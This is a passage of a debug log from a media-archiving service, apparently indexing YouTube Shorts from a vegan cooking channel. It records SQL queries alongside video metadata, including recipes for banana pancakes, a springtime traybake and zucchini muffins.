😊 SAVE THIS RECIPE FOR LATER! ✅ or head to my blog (link in bio) and search for “Banana Pancakes” 😘\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nhttps://thmatc.co/?l=309E581F", "BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!", "1fa543bd-848e-4568-a206-d2788aa575cb", 1, [], 52, false, "tHJoJsYTrbI", "https://www.youtube.com/shorts/tHJoJsYTrbI", 485, "/downloads/downloads/alec/Steamy Vegan/2022-04-18 BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!/BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce! [tHJoJsYTrbI].NA", false, false, true, 0, ~U[2022-04-18 02:24:10Z], ~U[2026-03-22 03:30:56Z], ~U[2026-03-22 03:30:56Z], "BANANA BLENDER PANCAKES 🥞 brought to you by rescued bananas 🍌 from @pekoproduce! HAPPY EASTER 🐰\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 😊 SAVE THIS RECIPE FOR LATER! ✅ or head to my blog (link in bio) and search for “Banana Pancakes” 😘\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nhttps://thmatc.co/?l=309E581F", "BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!", 1, 52, false, "tHJoJsYTrbI", "https://www.youtube.com/shorts/tHJoJsYTrbI", "/downloads/downloads/alec/Steamy Vegan/2022-04-18 BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!/BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce! [tHJoJsYTrbI].NA", true, ~U[2022-04-18 02:24:10Z]] 20:30:56.661 [debug] QUERY OK source="sources" db=0.4ms idle=933.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:56.662 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:56.663 [debug] QUERY OK source="media_items" db=0.5ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [874] 20:30:56.663 [debug] Current batch of media processed. Will check again in 1000ms 20:30:57.664 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🤯EPIC VEGAN GRILLED CHEESE 🥪 🧀 \n\nCheck out this #droolworthy PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY grilled cheese sandwich!! 🤯 Did I mention smoky Dijon mayo? 🤤 \n\nHubby @bravebudofficial and I are going head-to-head to see who made the best epic #veganglutenfree grilled cheese in our #CheatDayChallenge! 💥 \nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nWHO NEEDS THIS RECIPE?! 🙌🏻\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #veganfoodbloggers #grilledcheesesandwich #glutenfreevegan #epicmealtime #cheatdayeats #vegancheese #vegangrilledcheese", "duration" => 34, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-15 PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week/PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week [j_vwXc18jyY].NA", "id" => "j_vwXc18jyY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/j_vwXc18jyY", "playlist_index" => 486, "timestamp" => 1650038099, "title" => "PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week", "upload_date" => "20220415"} 20:30:57.665 [debug] QUERY OK source="sources" db=0.5ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:57.666 [debug] QUERY OK source="sources" db=0.9ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:57.669 [debug] QUERY OK source="media_items" db=2.4ms idle=1004.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-15 15:54:59Z], 1] 20:30:57.671 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["🤯EPIC VEGAN GRILLED CHEESE 🥪 🧀 \n\nCheck out this #droolworthy PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY grilled cheese sandwich!! 🤯 Did I mention smoky Dijon mayo? 🤤 \n\nHubby @bravebudofficial and I are going head-to-head to see who made the best epic #veganglutenfree grilled cheese in our #CheatDayChallenge! 💥 \nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nWHO NEEDS THIS RECIPE?! 🙌🏻\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #veganfoodbloggers #grilledcheesesandwich #glutenfreevegan #epicmealtime #cheatdayeats #vegancheese #vegangrilledcheese", "PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week", "68991c89-3d5b-4794-b2fb-b79011d0ffd5", 1, [], 34, false, "j_vwXc18jyY", "https://www.youtube.com/shorts/j_vwXc18jyY", 486, "/downloads/downloads/alec/Steamy Vegan/2022-04-15 PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week/PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week [j_vwXc18jyY].NA", false, false, true, 0, ~U[2022-04-15 15:54:59Z], ~U[2026-03-22 03:30:57Z], ~U[2026-03-22 03:30:57Z], "🤯EPIC VEGAN GRILLED CHEESE 🥪 🧀 \n\nCheck out this #droolworthy PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY grilled cheese sandwich!! 🤯 Did I mention smoky Dijon mayo? 🤤 \n\nHubby @bravebudofficial and I are going head-to-head to see who made the best epic #veganglutenfree grilled cheese in our #CheatDayChallenge! 💥 \nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nWHO NEEDS THIS RECIPE?! 🙌🏻\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #veganfoodbloggers #grilledcheesesandwich #glutenfreevegan #epicmealtime #cheatdayeats #vegancheese #vegangrilledcheese", "PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week", 1, 34, false, "j_vwXc18jyY", "https://www.youtube.com/shorts/j_vwXc18jyY", "/downloads/downloads/alec/Steamy Vegan/2022-04-15 PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week/PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week [j_vwXc18jyY].NA", true, ~U[2022-04-15 15:54:59Z]] 20:30:57.672 [debug] QUERY OK source="sources" db=0.7ms idle=941.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:57.672 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:57.673 [debug] QUERY OK source="media_items" db=0.4ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [875] 20:30:57.673 [debug] Current batch of media processed. Will check again in 1000ms 20:30:58.674 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "SPRINGTIME TRAYBAKE 😊 this will be your new fave one pan meal!\n\nIt really is all about that fresh sauce! SAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 large yam, thickly sliced and quartered\n2 cans of chickpeas, drained, rinsed and dried \n2 bunches of radishes, washed, trimmed and halved \n1 bundle of asparagus, ends sliced off \n1/2 cup stuffed manzanilla olives \n1 tsp smoked paprika \n\nDRESSING (combine all ingredients in jar + shake)\n3 cloves garlic, minced \n2 tbsp Dijon mustard \nJuice of 1 lemon \n3 tbsp chopped fresh basil \n1/4 cup olive oil\n1 tsp salt\nFreshly ground black pepper \n\n1. In a large bowl, toss the chopped yams with the paprika until thoroughly coated. Spread out on a large baking sheet.\n2. Toss the chickpeas in the same bowl with a pinch of salt, and spread out on a separate large baking sheet. Make sure they are DRY!\n3. Bake the yams and chickpeas (on separate racks) for 20 minutes at 425F. \n4. Remove the yams after 20 minutes and set aside. Move the chickpeas over to one side of the baking sheet and add the radishes and asparagus. Pop back in the oven and bake for an additional 10 minutes on the TOP RACK. \n5. Arrange all the different veg as you like in a serving dish, plus adding the olives. Pour the dressing over the whole dish, serve and ENJOY! 🤤\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "duration" => 25, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-06 SPRINGTIME TRAYBAKE 🌱/SPRINGTIME TRAYBAKE 🌱 [rIXCyMpxQWQ].NA", "id" => "rIXCyMpxQWQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/rIXCyMpxQWQ", "playlist_index" => 487, "timestamp" => 1649257958, "title" => "SPRINGTIME TRAYBAKE 🌱", "upload_date" => "20220406"} 20:30:58.675 [debug] QUERY OK source="sources" db=0.5ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:58.676 [debug] QUERY OK source="sources" db=0.4ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:58.678 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-06 15:12:38Z], 1] 20:30:58.680 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SPRINGTIME TRAYBAKE 😊 this will be your new fave one pan meal!\n\nIt really is all about that fresh sauce! SAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 large yam, thickly sliced and quartered\n2 cans of chickpeas, drained, rinsed and dried \n2 bunches of radishes, washed, trimmed and halved \n1 bundle of asparagus, ends sliced off \n1/2 cup stuffed manzanilla olives \n1 tsp smoked paprika \n\nDRESSING (combine all ingredients in jar + shake)\n3 cloves garlic, minced \n2 tbsp Dijon mustard \nJuice of 1 lemon \n3 tbsp chopped fresh basil \n1/4 cup olive oil\n1 tsp salt\nFreshly ground black pepper \n\n1. In a large bowl, toss the chopped yams with the paprika until thoroughly coated. Spread out on a large baking sheet.\n2. Toss the chickpeas in the same bowl with a pinch of salt, and spread out on a separate large baking sheet. Make sure they are DRY!\n3. Bake the yams and chickpeas (on separate racks) for 20 minutes at 425F. \n4. Remove the yams after 20 minutes and set aside. Move the chickpeas over to one side of the baking sheet and add the radishes and asparagus. Pop back in the oven and bake for an additional 10 minutes on the TOP RACK. \n5. Arrange all the different veg as you like in a serving dish, plus adding the olives. Pour the dressing over the whole dish, serve and ENJOY! 🤤\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "SPRINGTIME TRAYBAKE 🌱", "08c52e5e-76a1-4073-b01a-0b2afaa49066", 1, [], 25, false, "rIXCyMpxQWQ", "https://www.youtube.com/shorts/rIXCyMpxQWQ", 487, "/downloads/downloads/alec/Steamy Vegan/2022-04-06 SPRINGTIME TRAYBAKE 🌱/SPRINGTIME TRAYBAKE 🌱 [rIXCyMpxQWQ].NA", false, false, true, 0, ~U[2022-04-06 15:12:38Z], ~U[2026-03-22 03:30:58Z], ~U[2026-03-22 03:30:58Z], "SPRINGTIME TRAYBAKE 😊 this will be your new fave one pan meal!\n\nIt really is all about that fresh sauce! SAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 large yam, thickly sliced and quartered\n2 cans of chickpeas, drained, rinsed and dried \n2 bunches of radishes, washed, trimmed and halved \n1 bundle of asparagus, ends sliced off \n1/2 cup stuffed manzanilla olives \n1 tsp smoked paprika \n\nDRESSING (combine all ingredients in jar + shake)\n3 cloves garlic, minced \n2 tbsp Dijon mustard \nJuice of 1 lemon \n3 tbsp chopped fresh basil \n1/4 cup olive oil\n1 tsp salt\nFreshly ground black pepper \n\n1. In a large bowl, toss the chopped yams with the paprika until thoroughly coated. Spread out on a large baking sheet.\n2. Toss the chickpeas in the same bowl with a pinch of salt, and spread out on a separate large baking sheet. Make sure they are DRY!\n3. Bake the yams and chickpeas (on separate racks) for 20 minutes at 425F. \n4. Remove the yams after 20 minutes and set aside. Move the chickpeas over to one side of the baking sheet and add the radishes and asparagus. Pop back in the oven and bake for an additional 10 minutes on the TOP RACK. \n5. Arrange all the different veg as you like in a serving dish, plus adding the olives. Pour the dressing over the whole dish, serve and ENJOY! 🤤\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "SPRINGTIME TRAYBAKE 🌱", 1, 25, false, "rIXCyMpxQWQ", "https://www.youtube.com/shorts/rIXCyMpxQWQ", "/downloads/downloads/alec/Steamy Vegan/2022-04-06 SPRINGTIME TRAYBAKE 🌱/SPRINGTIME TRAYBAKE 🌱 [rIXCyMpxQWQ].NA", true, ~U[2022-04-06 15:12:38Z]] 20:30:58.681 [debug] QUERY OK source="sources" db=0.6ms idle=949.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:58.682 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:58.682 [debug] QUERY OK source="media_items" db=0.6ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [876] 20:30:58.683 [debug] Current batch of media processed. Will check again in 1000ms 20:30:59.685 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "If you’re a fan of zucchini bread or muffins I think you will really love this recipe 😍 These muffins are the perfect combo of bright, fresh and fluffy with a surprising sweet crunch! \n\nSAVE THIS RECIPE FOR LATER! ✅ \n\nINGREDIENTS \n2 cups GF all purpose flour \n1 tbsp baking powder \n1/2 tsp b. Soda\n1 tsp cardamom \n1/4 tsp nutmeg \n3/4 cups coconut sugar\n1/2 tsp salt \n1 cup shredded zucchini (1 small)\n1 mashed banana (1 medium)\nZest of 1 orange \n2 flax eggs \n1/2 cup unsweetened plant milk \n1/4 Pomegranate seeds for topping \n\n1. Add all the wet ingredients to a\u00A0\u00A0large mixing bowl. Give that mixture a good mix until everything is well combined and smooth. \n2. Add the finely shredded zucchini. Stir that in until you have a lumpy but still uniform liquid mixture.\n3. In a large mixing bowl, add the flour, coconut sugar, spices, salt, and baking powder and soda. Mix until everything is well combined. Pour in the wet mixture into the dry and give it a good stir until its well incorporated.\n4. Stir in the pom seeds.\n5. Lightly oil or line with parchment cups (if you’re oil-free) 12 medium muffin cups and bake for 27 minutes at 350º.\n\nIf you’ve never tried zucchini muffins, I’m telling ya you are in for a treat! 👌🏻 Zucchini makes muffins so fluffy and moist, plus the banana and orange adds a lovely bright sweetness, as do the pomegranate seeds. If you’re not the biggest fan of poms, you could use fresh or dried cranberries too, which I think would be fantastic. \nMay I also remind you that zucchinis are a vegetable.. so if you have kids that are picky eaters, this is a delicious and rather stealthy way to hide some veggies into a sweet treat. \n\nFOLLOW @steamyvegankitchen for more easy vegan recipes! \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusjc by Mark Generous - Orange and Pomegranate : https://thmatc.co/?l=B521F325", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-02 🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free/🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free [h6Svfk5luq4].NA", "id" => "h6Svfk5luq4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/h6Svfk5luq4", "playlist_index" => 488, "timestamp" => 1648927420, "title" => "🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free", "upload_date" => "20220402"} 20:30:59.686 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:59.688 [debug] QUERY OK source="sources" db=1.6ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 